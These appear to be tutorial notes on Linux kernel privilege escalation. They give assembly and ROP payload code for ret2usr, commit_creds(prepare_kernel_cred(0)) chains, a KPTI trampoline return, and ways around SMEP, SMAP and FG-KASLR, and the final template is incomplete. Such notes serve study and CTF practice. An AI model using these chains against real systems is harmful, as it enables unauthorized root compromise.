ROP
Always save state first, before triggering the overflow — you need cs/ss/rsp/rflags from a clean context to build the return frame later.
What are these registers?
cs(code segment ) — tells the CPU which privilege ring code runs in (user vs kernel).ss(stack segment selector) — same idea but for the stack segmentrsp— As you already knowrflags— CPU flags (interrupt-enable, direction, etc.) active in userland before the trap
All four together form the iretq frame (rip, cs, rflags, rsp, ss) that hands control back to userspace.
unsigned long user_cs, user_ss, user_sp, user_rflags;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
0. No mitigations — ret2usr
- Overwrite the return address with a userland function pointer. Kernel executes with kernel privileges but runs your code.
commit_creds/prepare_kernel_credaddresses come straight fromcat /proc/kallsymsif KASLR is off (or after a leak).
void escalate_privs(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss; push r15;"
"mov r15, user_sp; push r15;"
"mov r15, user_rflags; push r15;"
"mov r15, user_cs; push r15;"
"mov r15, user_rip; push r15;"
"iretq;"
".att_syntax;"
);
}
1. With SMEP + SMAP
- SMEP marks userland pages non-executable in kernel mode . So, no more ret2usr. We need to build a real ROP chain instead:
commit_creds(prepare_kernel_cred(0)), then manually fake theiretqframe.Note Trying to clear CR4 bit 20 via
native_write_cr4()doesn’t work on modern kernels — the pinned bits (cr4_pinned_mask) get silently restored, you just get aWARN_ONCEin dmesg.
payload[off++] = pop_rdi_ret;
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // force JNE to not branch
payload[off++] = 0x0; payload[off++] = 0x0; // dummy rbx / rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax (prepare_kernel_cred's return)
payload[off++] = 0x0; payload[off++] = 0x0;
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret;
payload[off++] = 0x0;
payload[off++] = iretq;
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
SMAP note: kills stack-pivot-to-userland (kernel can no longer touch a userland stack) — keep the whole chain on the kernel stack, don’t pivot out.
2. With SMEP + SMAP + KPTI
- KPTI splits kernel/user page tables — plain
swapgs; iretqisn’t enough,cr3needs swapping too(To swap kernel pml4 pointer to userspace pml4 pointer). But it is easy to swap using pre-defined functions. Reuse the kernel’s own exit trampoline:
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
// -> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
unsigned long kpti_trampoline = 0xffffffff81200f10 + 22; // skip the reg pops, lands expecting [rax,rdi,rip,cs,rflags,sp,ss] on the stack
- Replace the manual
swapgs; iretqfrom section 1 with:
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
3. FG-KASLR (per-function randomization)
- FG-KASLR randomizes every function individually which means fixed offsets from one leak no longer work.
- However, some regions never get randomized — the low
_textgadget region and ksymtab (__ksymtab_*), where each exported symbol stores avalue_offsetrelative to its own table entry.
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
-
Resolve
__ksymtab_commit_creds/__ksymtab_prepare_kernel_credfrom/proc/kallsymsthen use an arbitrary-read gadget to dereferencevalue_offsetand recover the real function address: -
This protection is intended to prevent easy wins from a single kernel pointer leak. The attacker now needs a full arbitrary read primitive for exploitation.
4. Plug and Play
void craft_rop_chain(unsigned long *chain, unsigned *off, unsigned long kbase,
unsigned long func, unsigned long arg){
unsigned long pop_rdi_ret = kbase + ?;
unsigned long arg = kbase + ?;
unsigned long func = kbase + ?;
chain[(*off)++] = pop_rdi_ret;
chain[(*off)++] = arg;
chain[(*off)++] = func;
}
References:
- https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
- https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
- https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/